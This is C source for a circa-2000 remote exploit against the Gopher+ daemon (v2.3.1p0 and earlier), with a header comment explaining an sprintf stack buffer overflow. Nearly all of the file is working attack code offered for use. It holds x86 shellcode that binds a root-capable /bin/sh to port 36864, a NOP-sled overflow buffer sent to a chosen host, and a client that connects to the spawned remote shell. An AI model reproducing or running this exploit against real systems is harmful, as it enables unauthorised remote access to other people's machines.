/*

                    Gopher+[v2.3.1p0-]: Daemon remote Xploit
                           by wildcoyote@coders-pt.org
                             Coded on: 13/08/y2k
                           Released: Same day heh...

  Comments: This Stack Buffer Overflow was found/exploited by v9...
            I saw his exploit at packetstorm and...decided to use this
            buffer overflow in a better way ;)
            v9's exploit tryes to had a suid account to /etc/passwd
            the problem is: (v9's quote)

            "This  exploit requires that the service is running as
             root (to write  to  /etc/passwd).  Even if the gopher+
             daemon displays itself  running  as  another user, as
             long as it's process is running as root(uid=0) it should
             exploit successfully."

            Which means:

            a) if all goes "smoothly", you need to have a account on
            the box to be root (or do you know any "recent" distributions
            which by "default" let you telnet (remotly) to the box and
            access a suided r00t account with no password? :P

            b) You will only get something if the daemon runz with uid=0

            I propose a different approach to this...how about we spawn a
            remote shell on the box? No matter what are the user's (which
            is running the daemon) priviligies, you'll have further access
            (or even COMPLETE ;) to the remote box :]

            This exploit as been "tested" on slackware 3.6/7.0... :]

  Buggy Function: (according to v9 :P)

            void
            OutputAuthForm(int sockfd, char *pathname, char *host, int port, CMDprotocol p)
            {
             char tmpbuf[512];
             ...
             sprintf(tmpbuf,
                    "<FORM METHOD=\"GET\" ACTION=\"http://%s:%d/halidate%%20%s\">\r\n",
                    host, port, pathname);
             ...
            }

            Heh, oh sprintf...you did it again :)

  Greetz:
            Kisses to niness and all of my (nowadays :D) friends...

  Funny:
            *** [c0r3dump] has quit IRC (Quit: gone, went to code gopher remote exploit, be back in 1 hour)
           <frawd> gopher remote exploit?
           <frawd> LOL
           <frawd> nao se codam daemons de gopher ha anos
           <frawd> bahahahahaha
*/

#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#define DELAY 2
#define DEFAULT_OFFSET                    0
#define PADDING                         150
#define DEFAULT_ALIGN                     0
#define DEFAULT_BUFFER_SIZE             512
#define RETURN_ADDRESS           0xbffff550
#define NOP                            0x90
#define SPAWN_SHELL_PORT              36864 // dont change this, unless
                                            // you mess with tha shellcode :]

// Spawn a shell at port 36864 :]
char shellcode[] =
   "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89\x46"
   "\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89\x5e\x14"
   "\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89\x46\x16\x8d"
   "\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43"
   "\xb0\x66\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86\xc3"
   "\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x88"
   "\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80\xe8\x89\xff"
   "\xff\xff/bin/sh";

int 
openhost(char *host,int port) {
   int sock;
   struct sockaddr_in addr;
   struct hostent *he;
   he=gethostbyname(host);
   if (he==NULL) return -1;
   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
   if (sock==-1) return -1;
   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
   addr.sin_family=AF_INET;
   addr.sin_port=htons(port);
   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) return -1;
   return sock;
}

void 
sends(int sock,char *buf) {
  write(sock,buf,strlen(buf));
}

void
spawned_shell(int sock)
{
 char buf[1024];
 fd_set rset;
 int i;
 while (1)
 {
  FD_ZERO(&rset);
  FD_SET(sock,&rset);
  FD_SET(STDIN_FILENO,&rset);
  select(sock+1,&rset,NULL,NULL,NULL);
  if (FD_ISSET(sock,&rset))
  {
   i=read(sock,buf,1024);
   if (i <= 0)
   {
     printf("The connection was closed!\n");
     printf("Exiting...\n\n");
     exit(0);
   }
   buf[i]=0;
   puts(buf);
  }
  if (FD_ISSET(STDIN_FILENO,&rset))
  {
   i=read(STDIN_FILENO,buf,1024);
   if (i>0)
   {
    buf[i]=0;
    write(sock,buf,i);
   }
  }
 }
}

void
gophit(char *host, int port, int offset, int align)
{
 char *buf_ptr, *ptr;
 long *addr_ptr, addr;
 int bsize=DEFAULT_BUFFER_SIZE+100, sock, i;
 printf("Trying to connect to %s [%d]...",host,port);
 sock=openhost(host,port);
 if (sock==-1)
 {
  printf("FAILED\n");
  printf("Exiting...\n\n");
  exit(-1);
 }
 printf("SUCCESSFULL\n");
 printf("Allocating mem for buffer overflow...\n");
 if (!(buf_ptr=malloc(bsize)))
 {
  printf("Couldn't allocate memory!\n");
  printf("Exiting...\n\n");
  exit(-1);
 }
 printf("Preparing buffer...\n\n");
 addr=RETURN_ADDRESS-offset;
 printf("Using the following \"settings\":\n\n");
 printf("ADDRESS   = 0x%x\n",addr);
 printf("OFFSET    = %d\n",offset);
 printf("ALIGNMENT = %d\n\n",align);
 ptr=buf_ptr;
 addr_ptr=(long *) ptr;
 for (i=align;i<bsize;i+=4) *(addr_ptr++)=addr;
 for (i=0;i<(bsize-strlen(shellcode)-PADDING);i++) buf_ptr[i]=NOP;
 ptr=buf_ptr+((bsize/2)-(strlen(shellcode)/2));
 for (i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i];
 memcpy(buf_ptr,"halidate ",9);
 buf_ptr[bsize]='\0';
 printf("Sending evil'code...\n");
 sends(sock,buf_ptr);
 sleep(DELAY);
 close(sock);
 printf("Oh k! If all went well, we should have a suid'shell wainting for uz ;)\n");
 printf("Connectin to spawned shell [port %d]...",SPAWN_SHELL_PORT);
 sock=openhost(host,SPAWN_SHELL_PORT);
 if (sock==-1)
 {
  printf("FAILED!\n");
  printf("Too bad...exploit didn't work :\\\n");
  printf("Exiting...\n\n");
  exit(-1);
 }
 else
 {
  printf("SUCCESSFULL!\n");
  printf("Shell spawned...ENJOY ;)\n");
  spawned_shell(sock);
 }
}

main(int argc, char *argv[])
{
 printf("\nGopher+[v2.3.1p0-]: Daemon remote Xploit by wildcoyote@coders-pt.org\n\n");
 if (argc<2)
 {
  printf("Sintaxe: %s <host> [port] [offset] [align 0-3]\n",argv[0]);
  printf("Example: %s www.vulnerable.box 70 0 0\n",argv[0]);
  printf("Regardz, wC...\n\n");
 }
 else if (argc==2) gophit(argv[1],70,0,DEFAULT_ALIGN);
      else if (argc==3) gophit(argv[1],atoi(argv[2]),0,DEFAULT_ALIGN);
           else if (argc==4) gophit(argv[1],atoi(argv[2]),atoi(argv[3]),DEFAULT_ALIGN);
                else if ((atoi(argv[4])>=0) && (atoi(argv[4])<=3))
                       gophit(argv[1],atoi(argv[2]),atoi(argv[3]),atoi(argv[4]));
                     else {
                       printf("Bad Alignment (alignment should be between 0-3)\n");
                       printf("Using default alignment [%d]\n",DEFAULT_ALIGN);
                       gophit(argv[1],atoi(argv[2]),atoi(argv[3]),DEFAULT_ALIGN);
                     }
}
/*                    www.hack.co.za           [22 August 2000]*/